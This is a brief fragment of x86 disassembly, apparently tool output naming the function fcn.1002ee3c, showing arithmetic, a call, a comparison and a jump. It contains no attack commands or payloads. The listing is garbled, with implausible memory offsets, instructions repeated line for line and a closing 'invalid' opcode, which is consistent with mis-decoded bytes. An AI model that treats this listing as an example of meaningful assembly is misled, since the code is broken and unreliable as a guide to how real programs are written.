lea eax, [ecx + eax*8]
ror dword [ebx + 0x408b1448], 0xc
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.1002ee3c
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
inc dword [ebx + 0x45ff0cc4]
or al, 0x66
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x1002f408
invalid